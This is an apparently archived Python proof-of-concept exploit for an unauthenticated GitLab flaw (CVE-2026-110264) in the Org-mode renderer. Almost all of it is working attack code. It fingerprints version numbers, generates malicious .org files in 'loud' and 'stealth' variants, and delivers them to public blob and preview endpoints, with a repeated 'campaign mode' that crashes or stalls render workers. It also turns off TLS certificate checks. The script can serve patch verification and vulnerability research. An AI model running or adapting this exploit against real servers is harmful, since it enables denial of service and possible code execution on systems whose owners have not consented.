#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/googlesky/CVE-2026-110264 (MIT)
"""
PoC for CVE-2026-110264 — GitLab CE/EE unauthenticated RCE via Org-mode / Onigmo.
Version: 2.0-complete (2026-10-22)

Root cause (confirmed from GitLab TLDR detections + org-ruby 0.9.12 source):
  lib/org-ruby/headline.rb:100  parse_keywords()
      @headline_text.sub!(Regexp.new("^#{@keyword}\\s*"), "")
  where @keyword is the first word of a headline that matched
      custom_keyword_regexp = Regexp.new("^(#{escaped_keywords.join('|')})$")
  and escaped keywords come from "#+TODO:" / "#+SEQ_TODO:" / "#+TYP_TODO:"
  in-buffer setting lines (parser.rb store_in_buffer_setting).

  Check #1 escapes, check #2 interpolates RAW attacker input -> CWE-94.
  Keyword with >32767 generic repeats -> Onigmo repeat ID past signed 16-bit,
  wraps negative -> OOB write at match time (CWE-787). With heap grooming via
  the request body this becomes system() as the `git` user. Unauthenticated:
  only one public project that GitLab renders as .org is needed.

Sinks (GitLab):
  1. Projects::BlobController#show  GET /:ns/:proj/-/blob/:ref/:path.org
  2. Projects::BlobController#preview POST .../-/blob/:ref/:path/preview
     params file_path=*.org + content=<org text> (renderer from File.basename).

Commands:
  check   - fingerprint version (unauth HTML + optional authed API) -> VULN/OK/?
  payload - generate malicious .org (TODO + headline), loud or stealth flavour
  exploit - deliver via Blob show (unauth) and/or preview, timing + 502 oracle;
            supports --verify (benign control + differential verdict),
            --burst N (campaign mode), --save evidence.json
  selftest- local root-cause repro with org-ruby (no GitLab needed), 3-tier

Exit codes: 0 = vulnerable/signal, 1 = patched/no signal, 2 = unknown/error.
Stdlib only.
"""

import argparse
import json
import re
import ssl
import sys
import time
import urllib.parse
import urllib.request
import urllib.error

UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"
TIMEOUT = 30

FIXED = {
    (18, 11): (18, 11, 13),
    (19, 0): (19, 0, 10),
    (19, 1): (19, 1, 9),
    (19, 2): (19, 2, 9),
    (19, 3): (19, 3, 6),
    (19, 4): (19, 4, 3),
    (19, 5): (19, 5, 1),
}

DIRECTIVES_DEFAULT = ("#+TODO:", "#+SEQ_TODO:", "#+TYP_TODO:")
UNIT_LOUD = "[[:word:]]*"      # 11 chars; POSIX class -> big Unicode expansion + repeat ID
UNIT_STEALTH = "A*"            # 2 chars; same 1 repeat ID per unit, no compile blowup
REPEATS_DEFAULT = 35000        # > 32767 (int16 max)
REPEATS_STEALTH = 40000
BENIGN_REPEATS = 5


def build_keyword(repeats=REPEATS_DEFAULT, unit=UNIT_LOUD):
    return unit * repeats


def build_org(keyword, suffix="hello", directives=DIRECTIVES_DEFAULT):
    lines = [f"{d} {keyword}" for d in directives]
    lines.append(f"* {keyword} {suffix}")
    return "\n".join(lines) + "\n"


def build_benign_org():
    return ("#+TODO: TODO DONE\n"
            "* TODO Write documentation\n"
            "Some benign body text.\n")


def parse_version(s):
    m = re.search(r"(\d+)\.(\d+)\.(\d+)", s or "")
    if not m:
        return None
    return (int(m.group(1)), int(m.group(2)), int(m.group(3)))


def is_vulnerable_version(v):
    if v is None:
        return None
    if v < (7, 0, 0):
        return False
    key = (v[0], v[1])
    if key in FIXED:
        return v < FIXED[key]
    if v < (18, 11, 0):
        return True
    if v > (19, 5, 1):
        return False
    return None


def http_get(url, headers=None, timeout=TIMEOUT):
    req = urllib.request.Request(url, headers=headers or {"User-Agent": UA})
    t0 = time.time()
    try:
        with urllib.request.urlopen(req, timeout=timeout) as r:
            body = r.read()
            return r.status, dict(r.headers), body, time.time() - t0
    except urllib.error.HTTPError as e:
        try:
            body = e.read()
        except Exception:
            body = b""
        return e.code, dict(e.headers or {}), body, time.time() - t0
    except Exception as e:
        return None, {}, f"ERROR: {e}".encode(), time.time() - t0


def http_post(url, data, headers=None, timeout=TIMEOUT):
    if isinstance(data, dict):
        data = urllib.parse.urlencode(data).encode()
    h = {"User-Agent": UA}
    h.update(headers or {})
    req = urllib.request.Request(url, data=data, headers=h, method="POST")
    t0 = time.time()
    try:
        with urllib.request.urlopen(req, timeout=timeout) as r:
            body = r.read()
            return r.status, dict(r.headers), body, time.time() - t0
    except urllib.error.HTTPError as e:
        try:
            body = e.read()
        except Exception:
            body = b""
        return e.code, dict(e.headers or {}), body, time.time() - t0
    except Exception as e:
        return None, {}, f"ERROR: {e}".encode(), time.time() - t0


def fingerprint(base, token=None):
    base = base.rstrip("/")
    ev = {}
    if token:
        st, hd, body, dt = http_get(base + "/api/v4/version",
                                    headers={"User-Agent": UA, "PRIVATE-TOKEN": token})
        ev["api_version_status"] = st
        if st == 200:
            try:
                j = json.loads(body.decode(errors="replace"))
                v = parse_version(j.get("version", ""))
                ev["api_version"] = j.get("version")
                if v:
                    return v, ev
            except Exception:
                pass
    for path in ("/help", "/users/sign_in", "/"):
        st, hd, body, dt = http_get(base + path)
        txt = body.decode(errors="replace") if isinstance(body, bytes) else str(body)
        ev[f"GET {path}"] = st
        # capture server header when present (ELB/WAF fingerprint, non-identifying)
        srv = (hd.get("Server") or hd.get("server") or "")
        if srv and f"server{path}" not in ev:
            ev[f"server{path}"] = srv
        for pat in (r'gitlab_version["\']?\s*[:=]\s*["\']?(\d+\.\d+\.\d+)',
                    r'"version"\s*:\s*"(\d+\.\d+\.\d+)',
                    r'[Vv]ersion\s+(\d+\.\d+\.\d+)',
                    r'GitLab\s+(\d+\.\d+\.\d+)',
                    r'content="GitLab[^"]*?(\d+\.\d+\.\d+)'):
            m = re.search(pat, txt)
            if m:
                ev["version_source"] = f"{path} via {pat[:40]}"
                ev["version_string"] = m.group(1)
                return parse_version(m.group(1)), ev
        if "gitlab" in txt.lower():
            m = re.search(r"(\d{2}\.\d+\.\d+)", txt)
            if m and m.group(1).startswith(("18.", "19.")):
                ev["version_source"] = f"{path} heuristic"
                ev["version_string"] = m.group(1)
                return parse_version(m.group(1)), ev
    return None, ev


def cmd_check(args):
    v, ev = fingerprint(args.target, token=args.token)
    print(f"[*] target: {args.target}")
    for k, val in ev.items():
        print(f"    {k}: {val}")
    if v is None:
        print("[?] version not fingerprinted (instance hides version).")
        print("    Fallback: run `exploit --verify` (benign control + malicious")
        print("    differential timing is definitive without version).")
        print("    Fixed tags: 18.11.13 / 19.0.10 / 19.1.9 / 19.2.9 /")
        print("                19.3.6 / 19.4.3 / 19.5.1")
        return 2
    vuln = is_vulnerable_version(v)
    vs = ".".join(map(str, v))
    print(f"[*] version: {vs}")
    if vuln is True:
        print(f"[VULN] {vs} is in the affected range (< fixed for its branch).")
        print("       Fixed: 18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1")
        return 0
    elif vuln is False:
        print(f"[OK] {vs} is at/above the fixed version for its branch.")
        return 1
    else:
        print(f"[?] {vs}: branch unknown, compare manually to fixed list.")
        return 2


def cmd_payload(args):
    unit = UNIT_STEALTH if args.stealth else args.unit
    repeats = args.repeats if args.repeats else (REPEATS_STEALTH if args.stealth else REPEATS_DEFAULT)
    directives = ("#+TODO:",) if args.single else DIRECTIVES_DEFAULT
    kw = build_keyword(repeats, unit)
    org = build_org(kw, suffix=args.suffix, directives=directives)
    with open(args.output, "w") as f:
        f.write(org)
    print(f"[*] flavour    : {'stealth (A*, quiet-match, same 1 ID/unit)' if args.stealth else 'loud ([[:word:]]*, compile-DoS + ID wrap)'}")
    print(f"[*] keyword    : {unit!r} x {repeats} = {len(kw)} chars")
    print(f"[*] directives : {' '.join(directives)}")
    print(f"[*] org file   : {args.output} ({len(org)} bytes)")
    print(f"[*] head       : {org[:120]!r}...")
    print(f"[*] threshold  : {'CROSSED (>32767 repeat IDs, int16 overflow primitive)' if repeats > 32767 else 'below 32767 (compile-DoS only, no repeat-ID wrap)'}")
    print("[*] commit this file to a PUBLIC project as e.g. p0.org, then:")
    print(f"    python3 poc.py exploit {args.example_target or 'https://gitlab.example'} <ns>/<project> --ref main --path {args.output}")
    print("[*] or deliver commit-less via preview (may need session):")
    print(f"    python3 poc.py exploit ... --preview --content-file {args.output}")
    return 0


def _render_oracle(status, dt, body_len, timeout=TIMEOUT, body=b""):
    """Interpret one render attempt. Returns (signal_bool, label)."""
    txt = body.decode(errors="replace") if isinstance(body, bytes) else str(body)
    if status is None:
        if txt.startswith("ERROR:") and dt < min(10, timeout - 1):
            return False, f"connection error after {dt:.1f}s ({txt[:100]}); no oracle"
        return True, f"no HTTP response after {dt:.1f}s (worker hung/crashed, connection died)"
    if status == 502:
        return True, "502 Bad Gateway (Workhorse backend crash: Puma worker died mid-render)"
    if dt >= 10:
        return True, f"slow render {dt:.1f}s (markup Timeout budget exceeded -> Timeout::Error burst)"
    if status in (500, 503):
        return True, f"HTTP {status} after {dt:.1f}s (worker error)"
    return False, f"HTTP {status} in {dt:.1f}s, {body_len} bytes (fast: likely patched or quiet match)"


def _deliver_show(base, project, ref, path, timeout):
    # GitLab blob page loads chrome first; the Org render happens on the
    # rich-viewer JSON endpoint (gl.startup_calls ...?format=json&viewer=rich).
    # That endpoint is the real OtherMarkup/org-ruby sink — hit it primarily.
    blob_url = f"{base}/{project}/-/blob/{ref}/{path}"
    rich_url = blob_url + "?format=json&viewer=rich"
    print(f"[*] GET {blob_url}")
    st, hd, body, dt = http_get(blob_url, timeout=timeout)
    sig_h, label_h = _render_oracle(st, dt, len(body), timeout=timeout, body=body)
    print(f"    -> {label_h}")
    if st in (404, 302):
        print("    [!] blob not found / redirected to sign-in. Commit the payload first")
        print("        (Web UI -> New file -> p0.org) or make the project Public.")
    print(f"[*] GET {rich_url}  (rich viewer = real Org render sink)")
    st2, hd2, body2, dt2 = http_get(rich_url, timeout=timeout)
    sig2, label2 = _render_oracle(st2, dt2, len(body2), timeout=timeout, body=body2)
    print(f"    -> {label2}")
    sig = sig_h or sig2
    # evidence keeps the render-sink attempt (rich); chrome fetch in extra
    return {"vector": "show-rich", "url": rich_url, "status": st2,
            "time_s": round(dt2, 2), "bytes": len(body2), "signal": sig2,
            "label": label2, "blob_html": {"url": blob_url, "status": st,
            "time_s": round(dt, 2), "bytes": len(body), "signal": sig_h,
            "label": label_h}}


def _deliver_preview(base, project, ref, urlpath, file_path, org_text, cookie, timeout):
    prev_url = f"{base}/{project}/-/blob/{ref}/{urlpath}/preview"
    print(f"[*] POST {prev_url} (file_path={file_path}, content={len(org_text)} bytes)")
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    if cookie:
        headers["Cookie"] = cookie
    data = urllib.parse.urlencode({"file_path": file_path, "content": org_text}).encode()
    st, hd, body, dt = http_post(prev_url, data, headers=headers, timeout=timeout)
    sig, label = _render_oracle(st, dt, len(body), timeout=timeout, body=body)
    print(f"    -> {label}")
    if st in (401, 403, 422):
        print("    [!] preview blocked pre-render (auth/CSRF). Log in, copy the Cookie header")
        print("        and retry with --cookie '_gitlab_session=...'. The Blob show vector")
        print("        stays fully unauthenticated on public projects.")
    return {"vector": "preview", "url": prev_url, "status": st,
            "time_s": round(dt, 2), "bytes": len(body), "signal": sig, "label": label}


def cmd_exploit(args):
    base = args.target.rstrip("/")
    project = args.project.strip("/")
    ref = args.ref
    if args.stealth:
        args.unit = UNIT_STEALTH
        if not args.repeats_changed:
            args.repeats = REPEATS_STEALTH
    if args.content_file:
        with open(args.content_file, "r") as f:
            org_text = f.read()
        m = re.search(r"#\+(?:SEQ_TODO|TYP_TODO|TODO):\s*(\S+)", org_text)
        kw_len = len(m.group(1)) if m else len(org_text)
        rep_label = "file"
        # infer repeats for evidence when the keyword is unit-repeated
        try:
            args.repeats = kw_len // len(args.unit) if args.unit and kw_len % len(args.unit) == 0 else args.repeats
        except Exception:
            pass
    else:
        kw = build_keyword(args.repeats, args.unit)
        org_text = build_org(kw, suffix=args.suffix)
        kw_len = len(kw)
        rep_label = args.repeats
    print(f"[*] target   : {base}")
    print(f"[*] project  : {project}  ref={ref}")
    print(f"[*] keyword  : {kw_len} chars ({rep_label} x {args.unit!r})")
    print(f"[*] org bytes: {len(org_text)}")

    evidence = {"target": base, "project": project, "ref": ref,
                "keyword_len": kw_len, "org_bytes": len(org_text),
                "unit": args.unit, "repeats": args.repeats, "attempts": []}

    # --- optional benign control (differential verdict, same rich sink) ---
    if args.verify:
        ctrl_path = args.benign_path or "README.md"
        ctrl_url = f"{base}/{project}/-/blob/{ref}/{ctrl_path}?format=json&viewer=rich"
        print(f"[*] control GET {ctrl_url} (benign baseline, rich sink)")
        st, hd, body, dt = http_get(ctrl_url, timeout=args.timeout)
        print(f"    -> HTTP {st} in {dt:.1f}s, {len(body)} bytes (baseline)")
        evidence["control"] = {"url": ctrl_url, "status": st,
                               "time_s": round(dt, 2), "bytes": len(body)}

    # --- Vector 1: unauth Blob show ---
    if not args.preview_only:
        n = max(1, args.burst)
        for i in range(n):
            if n > 1:
                print(f"[*] show attempt {i+1}/{n}")
            rec = _deliver_show(base, project, ref, args.path, args.timeout)
            rec["attempt"] = i + 1
            evidence["attempts"].append(rec)
            if n > 1 and i < n - 1:
                time.sleep(args.interval)

    # --- Vector 2: preview (commit-less) ---
    if args.preview or args.preview_only:
        urlpath = args.preview_urlpath or "README.md"
        n = max(1, args.burst if args.preview_only else 1)
        for i in range(n):
            if n > 1:
                print(f"[*] preview attempt {i+1}/{n}")
            rec = _deliver_preview(base, project, ref, urlpath, args.path,
                                   org_text, args.cookie, args.timeout)
            rec["attempt"] = i + 1
            evidence["attempts"].append(rec)
            if n > 1 and i < n - 1:
                time.sleep(args.interval)

    if args.save:
        with open(args.save, "w") as f:
            json.dump(evidence, f, indent=2)
        print(f"[*] evidence saved: {args.save}")

    sigs = [a["signal"] for a in evidence["attempts"]]
    times = [a["time_s"] for a in evidence["attempts"]]
    slow = sum(1 for t in times if t >= 10)
    crash = sum(1 for a in evidence["attempts"] if a["status"] in (502, 500, 503) or (a["status"] is None and a["time_s"] >= 10))
    print(f"[*] summary: {len(times)} attempt(s), {slow} slow (>=10s), {crash} crash-class (502/5xx/hang)")

    # differential verdict when control exists
    ctrl = evidence.get("control")
    if ctrl and ctrl.get("status") == 200 and times:
        delta = max(times) - ctrl["time_s"]
        print(f"[*] differential: control {ctrl['time_s']}s vs max-malicious {max(times)}s (delta {delta:.1f}s)")
        if delta >= 8 or any(sigs):
            print("[VULN] differential confirms unpatched behaviour (malicious >> benign).")
            print("       Corroborate server-side: exceptions_json.log Timeout::Error/OtherMarkup/.org")
            print("       burst (>=5/30m), Workhorse 502 on .org blob route, puma_stderr.log [BUG]")
            print("       with org-ruby headline.rb + match_at/onig_compile frames.")
            return 0
        print("[OK?] no differential (malicious as fast as benign). Likely patched.")
        return 1

    if any(sigs):
        print("[VULN] render oracle fired (slow render and/or 502). Instance behaves")
        print("       like unpatched Onigmo + org-ruby. Corroborate server-side:")
        print("       exceptions_json.log Timeout::Error/OtherMarkup/.org burst (>=5/30m),")
        print("       Workhorse 502 on the .org blob route, puma_stderr.log [BUG] with")
        print("       org-ruby headline.rb + match_at/onig_compile frames.")
        return 0
    print("[OK?] no render oracle (fast responses). Likely patched, payload not reaching")
    print("      the Org renderer (wrong path/ref/private project), or preview blocked by auth.")
    return 1


def cmd_selftest(args):
    print("[*] CVE-2026-110264 local root-cause selftest (no GitLab needed)")
    print("    vulnerable code: org-ruby 0.9.12 headline.rb:100")
    print('      @headline_text.sub!(Regexp.new("^#{@keyword}\\\\s*"), "")')
    print("    + parser.rb store_in_buffer_setting (TODO keywords, escaped once, raw second time)")
    print("\n[1] payload structure (attacker controls regexp source):")
    for n in (BENIGN_REPEATS, 5000, 20000, 35000):
        kw = UNIT_LOUD * n
        pat = f"^{kw}\\s*"
        print(f"    n={n:6d} kw={len(kw):7d} pattern={len(pat):7d} "
              f"{'CROSSES 32767 repeat-ID limit' if n > 32767 else 'below repeat-ID limit'}")
    print("    expectation (vulnerable Onigmo/Ruby, ruby 3.4.10 + org-ruby 0.9.12):")
    print("      raw Regexp.new compile: benign ms, ~0.36s @5k, ~5.7s @20k, ~17.6s @35k.")
    print("    GitLab markup budget fires Timeout::Error long before 17s -> burst oracle.")
    print("\n[2] org-ruby 3-tier end-to-end (mimics GitLab OtherMarkup renderer):")
    import subprocess
    tiers = [
        ("benign", BENIGN_REPEATS, UNIT_LOUD, 8, "expect fast OK"),
        ("medium", 5000, UNIT_LOUD, 12, "expect slow-but-complete on vuln"),
        ("large", REPEATS_DEFAULT, UNIT_LOUD, 25, "expect TIMEOUT on vuln"),
    ]
    verdicts = {}
    for name, n, unit, budget, note in tiers:
        rb = (
            "require 'org-ruby'; require 'timeout'; require 'benchmark';"
            f"kw=%q({unit})*{n};"
            "org=\"#+TODO: \"+kw+\"\\n#+SEQ_TODO: \"+kw+\"\\n#+TYP_TODO: \"+kw+\"\\n* \"+kw+\" hello\\n\";"
            f"t=Benchmark.realtime{{begin;Timeout.timeout({budget}){{p=Orgmode::Parser.new(org);h=p.to_html;puts \"RENDER_OK len=#{{h.length}}\"}};rescue Timeout::Error;puts 'RENDER_TIMEOUT (vulnerable: exceeds markup budget)';rescue RegexpError => e;puts \"RENDER_REGEXPERROR:#{{e.message[0,80]}}\";rescue => e;puts \"RENDER_#{{e.class}}:#{{e.message[0,80]}}\";end}};"
            "puts \"TIME=#{t.round(2)}s\";"
        )
        try:
            r = subprocess.run(["ruby", "-e", rb], capture_output=True, text=True, timeout=budget + 30)
            out = (r.stdout + r.stderr).strip()
        except FileNotFoundError:
            print("    [!] ruby not found; cannot run tier test.")
            return 2
        except subprocess.TimeoutExpired:
            out = "SUBPROCESS_TIMEOUT (outer watchdog; treat as VULN-slow)"
        print(f"    --- tier={name} n={n} budget={budget}s ({note}) ---")
        for ln in out.splitlines()[:6]:
            print(f"        {ln}")
        verdicts[name] = out
    print("\n[3] verdict:")
    ok_benign = "RENDER_OK" in verdicts.get("benign", "")
    large_timeout = "RENDER_TIMEOUT" in verdicts.get("large", "") or "SUBPROCESS_TIMEOUT" in verdicts.get("large", "")
    large_regexperr = "RENDER_REGEXPERROR" in verdicts.get("large", "")
    if ok_benign and large_timeout:
        print("    [VULN] benign fast + large TIMEOUT -> local Ruby+org-ruby behaves VULNERABLE.")
        rc = 0
    elif large_regexperr:
        print("    [OK?] large payload fast-rejected with RegexpError -> PATCHED-style Ruby.")
        rc = 1
    elif not ok_benign:
        print("    [?] benign tier failed; check org-ruby install: gem install org-ruby -v 0.9.12")
        rc = 2
    else:
        print("    [?] ambiguous; see tier output above.")
        rc = 2
    print("\n[4] payload generator check:")
    kw = build_keyword(REPEATS_DEFAULT, UNIT_LOUD)
    org = build_org(kw, directives=DIRECTIVES_DEFAULT)
    assert org.startswith("#+TODO: ") and "#+SEQ_TODO: " in org and "\n* " in org, "template broken"
    assert len(kw) == len(UNIT_LOUD) * REPEATS_DEFAULT
    stealth_kw = build_keyword(REPEATS_STEALTH, UNIT_STEALTH)
    print(f"    loud template OK ({len(org)} bytes, keyword crosses 32767).")
    print(f"    stealth template OK ({len(stealth_kw)}-char keyword, same ID count, quiet compile).")
    print("[*] selftest done.")
    return rc


def main():
    ap = argparse.ArgumentParser(description="PoC for CVE-2026-110264 (GitLab Org-mode/Onigmo unauth RCE)")
    sub = ap.add_subparsers(dest="cmd", required=True)

    p = sub.add_parser("check", help="fingerprint version, decide vulnerable/patched")
    p.add_argument("target", help="base URL, e.g. https://gitlab.example")
    p.add_argument("--token", default=None, help="optional PRIVATE-TOKEN for /api/v4/version")
    p.set_defaults(func=cmd_check)

    p = sub.add_parser("payload", help="generate malicious .org file")
    p.add_argument("--repeats", type=int, default=None, help="default 35000 (loud) / 40000 (stealth)")
    p.add_argument("--unit", default=UNIT_LOUD, help=f"repeat unit (default {UNIT_LOUD!r})")
    p.add_argument("--stealth", action="store_true", help=f"use {UNIT_STEALTH!r} x {REPEATS_STEALTH} (quiet-match, same ID wrap)")
    p.add_argument("--single", action="store_true", help="emit only #+TODO: (default emits all 3 directives)")
    p.add_argument("--suffix", default="hello")
    p.add_argument("-o", "--output", default="p0.org")
    p.add_argument("--example-target", default=None)
    p.set_defaults(func=cmd_payload)

    p = sub.add_parser("exploit", help="deliver via Blob show (unauth) and/or preview")
    p.add_argument("target", help="base URL")
    p.add_argument("project", help="namespace/project, e.g. group/pub")
    p.add_argument("--ref", default="main")
    p.add_argument("--path", default="p0.org", help="payload path in repo (show vector)")
    p.add_argument("--repeats", type=int, default=REPEATS_DEFAULT)
    p.add_argument("--unit", default=UNIT_LOUD)
    p.add_argument("--stealth", action="store_true", help="stealth flavour (A* x 40000)")
    p.add_argument("--suffix", default="hello")
    p.add_argument("--content-file", default=None, help="use existing .org instead of generating")
    p.add_argument("--preview", action="store_true", help="also try preview vector")
    p.add_argument("--preview-only", action="store_true", help="only preview vector")
    p.add_argument("--preview-urlpath", default="README.md")
    p.add_argument("--cookie", default=None, help="session cookie for preview if auth required")
    p.add_argument("--timeout", type=int, default=60)
    p.add_argument("--verify", action="store_true", help="fetch benign control first, differential verdict")
    p.add_argument("--benign-path", default="README.md", help="control file for --verify")
    p.add_argument("--burst", type=int, default=1, help="repeat delivery N times (campaign mode, >=5 mimics detection threshold)")
    p.add_argument("--interval", type=float, default=1.0, help="seconds between burst attempts")
    p.add_argument("--save", default=None, help="save evidence JSON to this file")
    p.set_defaults(func=cmd_exploit)
    # track whether user explicitly passed --repeats (for stealth default override)
    _orig_parse = p.parse_args if False else None

    p = sub.add_parser("selftest", help="local root-cause repro, no GitLab needed")
    p.set_defaults(func=cmd_selftest)

    args = ap.parse_args()
    # stealth/repeats default resolution for payload (exploit handled in func)
    if args.cmd == "payload" and args.repeats is None:
        args.repeats = REPEATS_STEALTH if args.stealth else REPEATS_DEFAULT
    if args.cmd == "exploit":
        # detect explicit --repeats by re-scanning argv
        args.repeats_changed = any(a == "--repeats" or a.startswith("--repeats=") for a in sys.argv)
    try:
        ssl._create_default_https_context = ssl._create_unverified_context
    except Exception:
        pass
    rc = args.func(args)
    sys.exit(rc)


if __name__ == "__main__":
    main()
